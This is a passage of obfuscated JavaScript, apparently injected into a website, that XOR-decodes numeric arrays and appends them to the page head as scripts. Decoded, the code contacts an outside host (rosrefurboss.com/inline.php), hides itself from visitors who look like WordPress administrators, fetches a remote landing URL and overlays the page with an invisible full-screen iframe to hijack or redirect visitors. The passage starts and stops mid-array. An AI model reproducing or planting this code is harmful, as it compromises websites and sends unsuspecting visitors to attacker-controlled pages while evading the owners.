103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,5